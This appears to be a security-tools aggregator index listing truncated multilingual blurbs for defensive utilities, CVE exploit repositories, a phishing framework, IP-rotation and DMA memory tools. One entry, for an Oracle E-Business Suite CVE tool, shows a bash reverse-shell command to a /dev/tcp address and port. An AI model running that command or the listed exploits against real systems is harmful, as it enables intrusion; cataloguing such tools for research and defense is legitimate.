libsodium

Sodium is an easy-to-use software library that provides a wide range of cryptographic operations including encryption, decryption, digital signatures, and secure password hashing. It is a portable, cross-compilable, installable, and packageable fork of NaCl. While maintaining API compatibility,...

suricata_exporter

Suricata Prometheus Exporter 이것은 유닉스 소켓을 통해 dump-counters를 사용하여 메트릭을 조회하는 Suricata용 Prometheus Exporter입니다. 사용법 root@kitploit: $ ./suricataexporter -h Usage of ./suricataexporter: -suricata.socket-path string Path to the Suricata Command socket. default "/var/run/suricata.socket" -version Output...

rita

RITA Real Intelligence Threat Analytics If you get value out of RITA and would like to go a step further with hunting automation, futuristic visualizations, and data enrichment, then take a look at AC-Hunter. Brought to you by Active Countermeasures. Sponsored by BHIS. RITA is an open source...

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Oracle E-Business Suite CVE-2025-61882 탐지 아티팩트 생성기 자세한 기술 내용은 블로그 포스트를 참조하세요. 탐지 동작 root@kitploit: python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i & /dev/tcp/192.168.1.10/4444 0&1' --platform linux --target...

CVE-2025-71389_exploit

CVE-2025-71389 — Cal.com 인증되지 않은 원격 코드 실행 react2shell Cal.com = 5.9.9로 업그레이드하세요 패치된 Next.js 버전 중 하나: 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7. RSC 서버 함수 핸들러를 신뢰할 수 없...

evilgophish

Table of Contents evilgophish A Word About Sponsorship Credits Prerequisites Disclaimer Why? Background Infrastructure Layout setup.sh Cloudflare Turnstile Setup Cloudflare Turnstile HTML Template Guide replacerid.sh Email Campaign Setup QR Code Generator SMS Campaign Setup Live Feed Setup A Word...

evilgophish

Содержание evilgophish Слово о спонсорстве Благодарности Предварительные требования Отказ от ответственности Зачем? Предыстория Схема инфраструктуры setup.sh Настройка Cloudflare Turnstile Руководство по шаблонам HTML для Cloudflare Turnstile replacerid.sh Настройка Email-кампании Генератор...

john

John the Ripper This is the community-enhanced, "jumbo" version of John the Ripper. It has a lot of code, documentation, and data contributed by jumbo developers and the user community. It is easy for new code to be added to jumbo, and the quality requirements are low, although lately we've start...

RedTeam-Tools

RedTeam-Tools Этот репозиторий GitHub содержит коллекцию из 150+ инструментов и ресурсов , которые могут быть полезны для действий red team. Некоторые инструменты могут быть специально разработаны для red teaming, другие же являются более универсальными и могут быть адаптированы для использования...

CVE-2017-5638

CVE-2017-5638 CVE-2017-5638 Эксплойт Apache Struts2 RCE 🛠️ Описание Это простой PoC на Python для CVE-2017-5638 — уязвимости удаленного выполнения кода в Apache Struts 2. ⚠️ Предупреждение Этот код предоставлен только для образовательных целей. НЕ используйте его в любой системе без явного...

CVE-2025-57819-RCE

FreePBX 16 — Unauthenticated SQLi to RCE요약: 이 설명은 FreePBX 16의 두 취약점CVE-2025-57819 및 CVE-2025-61678을 결합하여 인증되지 않은 액세스에서 원격 코드 실행Remote Code Execution, RCE으로 권한을 상승시키는 전체 공격 체인을 보여줍니다. 취약점 CVE 정보 CVE 번호 영향 구성 요소 영향 및 취약점 유형 CVE-2025-57819 Endpoint 모듈 로더brand 매개변수 인증되지 않은 다중 명령 SQL 주입Unauthenticated...

PyMemoryEditor

PyMemoryEditor A pure-Python library built on ctypes that lets you inspect, modify and search the memory of any running process in a few lines of Python — Cheat Engine workflows on Windows, Linux and macOS! Read, write and scan the memory of any process — straight from Python. One unified API...

NeuroCore

NeuroCore 고성능 구조적 바이너리 분석 및 시각화 유틸리티 개요 NeuroCore는 고속 시각화를 통해 바이너리 데이터의 구조적 분석을 위해 설계된 네이티브 macOS 유틸리티입니다. Metal Compute Shaders를 통해 GPGPU를 활용하여 raw 바이너리 스트림을 Hilbert Space-Filling Curve에 실시간으로 매핑합니다. 이러한 투영은 선형 16진수 표현의 한계를 해결하여 파일 분류, 엔트로피 분포 및 암호학적 이상 징후의 신속한 식별을 가능하게 합니다. 소개 전통적인 16진수 편집기는 바이...

fireprox

FireProx Overview Benefits Disclaimers Maintainer Credit Basic Usage Installation Screenshots Contributing Overview Being able to hide or continually rotate the source IP address when making web calls can be difficult or expensive. A number of tools have existed for some time but they were either...

fireprox

FireProx 개요 이점 면책 조항 관리자 크레딧 기본 사용법 설치 스크린샷 기여 개요 웹 호출 시 소스 IP 주소를 숨기거나 지속적으로 변경하는 것은 어렵거나 비용이 많이 들 수 있습니다. 몇 가지 도구가 오랫동안 존재해 왔지만 IP 주소 수가 제한되어 있거나, 비용이 비싸거나, 많은 VPS를 배포해야 했습니다. FireProx는 AWS API Gateway를 활용하여 매 요청마다 소스 IP 주소를 회전시키는 통과 프록시pass-through proxy를 생성합니다! FireProx를 사용하여 대상 서버를 가리키는 프록시...

hoverfly

Симуляция API для разработки и тестирования Hoverfly — это легковесный инструмент с открытым исходным кодом для симуляции API. С помощью Hoverfly вы можете создавать реалистичные симуляции API, от которых зависит ваше приложение. Замените медленные, нестабильные зависимости API на реалистичные,...

pcileech

PCILeech Summary: PCILeech uses PCIe hardware devices to read and write target system memory. This is achieved by using DMA over PCIe. No drivers are needed on the target system. PCILeech also works without hardware together with a wide range of software memory acqusition methods supported by the...

fulcio

Fulcio 코드 서명을 위한 무료 사용 CA Fulcio는 이메일 주소와 같은 OpenID ConnectOIDC 신원을 위해 코드 서명 인증서를 발급하는 무료 사용 인증 기관CA입니다. Fulcio는 10분 동안 유효한 단기short-lived 인증서만 발급합니다. 공개 인스턴스 Fulcio는 GAGeneral Availability 상태이며, 99.5 가용성 SLO를 제공하고, API 안정성을 위해 semver 규칙을 따릅니다. Fulcio 공개 인스턴스의 가동 시간 데이터는...

CVE-2023-32571-POC

Dynamic Linq 인젝션을 통한 RCE - CVE-2023-32571 Dynamic Linq 인젝션을 통한 RCE 정보 CVE-2023-32571 최근 NCC Group의 연구원들이 Dynamic Linq에서 공격자가 Linq Injection을 통해 C 함수를 호출할 수 있는 취약점을 발견했으며, 이를 통해 RCE를 달성할 수 있게 되었습니다. Dynamic Linq에 대한 RCE 보고서에도 불구하고, NCC Group의 연구원들은 어떤 이유에서인지 명령 실행을 위한 POC를 공개하지 않았습니다. POC NCC Grou...

guac

GUAC: Граф для понимания состава артефактов Примечание: GUAC находится в активной разработке — если вы заинтересованы во вкладе, пожалуйста, ознакомьтесь с руководством для участников. GUAC — это инкубационный проект OpenSSF под эгидой Рабочей группы по целостности цепочки поставок. Граф для...